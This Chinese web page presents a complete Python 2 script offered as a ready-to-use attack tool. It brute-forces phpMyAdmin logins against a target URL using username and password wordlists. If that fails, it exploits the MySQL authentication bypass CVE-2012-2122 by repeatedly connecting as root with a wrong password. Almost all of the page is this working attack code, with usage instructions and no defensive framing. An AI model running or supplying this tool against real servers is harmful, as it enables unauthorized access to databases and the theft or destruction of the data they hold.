Python写的PHPMyAdmin暴力破解工具代码

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {\'User-Agent\' : \'Mozilla/5.0 (Windows NT 6.1; WOW64)\'}
	params = urllib.urlencode({\'pma_username\': username, \'pma_password\': password})
	request = urllib2.Request(url+\"/index.php\", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find(\'Database server\')!=-1 and a.find(\'name=\"login_form\"\')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen(\"mysql --host=%s -P %s -uroot -piswin\" % (host,port),shell=True).wait()
if __name__ == \'__main__\':
	if len(sys.argv)<4:
		print \"#author:iswin\\n#useage python pma.py http://www.jb51.net/phpmyadmin/ username.txt password.txt\"
		sys.exit()
	print \"Bruting,Pleas wait...\"
	for name in open(sys.argv[2],\"r\"):
		for passw in open(sys.argv[3],\"r\"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print \"\\nBrute successful\"
				print \"UserName: \"+state[0]+\"PassWord: \"+state[1]
				sys.exit()
	print \"Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck\"
	choice=raw_input(\'Warning:This function needs mysql environment.\\nY:Try to MySQLAuthenticationBypassCheck\\nOthers:Exit\\n\')
	if choice==\'Y\' or choice==\'y\':
		host=raw_input(\'Host:\')
		port=raw_input(\'Port:\')
		MySQLAuthenticationBypassCheck(host,port)